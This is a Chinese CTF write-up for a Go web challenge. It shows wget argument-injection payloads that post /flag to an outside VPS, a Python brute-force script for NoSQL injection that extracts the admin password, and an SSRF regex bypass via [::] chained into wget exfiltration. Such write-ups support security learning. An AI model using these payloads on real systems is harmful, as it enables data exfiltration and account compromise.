checkin


参考链接: 利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入

题目有附件

image-20211223232855564

下载,是个go语言,审计一下 ,文件目录如下

image-20211223233017308

注意wget

image-20211223233141954

还有

image-20211223233200793

wget外带数据

根据上面的博客,可以执行命令wegt数据外带出来

wget?argv=1&argv=--post-file&argv=/flag&argv=http://vps:7777/

然后既可以得到flag

image-20211223234002354

wget?argv=1&argv=--post-data&argv=/flag&argv=http://116.62.240.148:7777/

修改了配置-post-data 但是只是输出字符串罢了,我们传入的是/flag,那么它就返回我们/flag字符串

image-20211223234204240

分析官方wp

官方wp中添加了很多忽略的知识点

nosql注入

首先,源码中存在nosql注入

image-20211223234747022

所以可以根据这个获取admin的密码,脚本如下:

  1. 脚本中使用//将该行之后的代码进行注释,并且通过补全代码使得代码完整(有点废话了,肯定要完整,不然会报错的)
  2. 代码中判断是否成功用的是Pretend字符串,根据源码,如果用户名名称和密码判断不正确,就会返回含有Pretend的字符串

image-20211223235120536

爆破脚本

import requests

url = "http://47.117.125.220:8081/login"#自行修改

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
#res长度从0开始
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                #注意这个substr用的是-号,是反向读取密码的,反向逐个读取密码,然后对比
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

反向读取密码,substr实验分析

image-20211224000037063

image-20211224001209901

得到密码,登录,但是啥都没有,记录一下吧

image-20211224001219159

ssrf

官方wp中还提到了/proxy路由存在ssrf

func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

访问的时候可以通过[::]绕过对127.0.0.1的限制然后访问内网

并且wget路由可以用来发送请求(参数可控!!!!),那么就可以传入恶意的参数来获取服务器上文件并且外带出来,最终的payload(注意post发包改为application/json格式)

POST: /proxy

{"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}

image-20211224001806650

参考链接

  1. 利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入

  2. 陇原战疫2021网络安全大赛 Web_feng的博客-CSDN博客

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐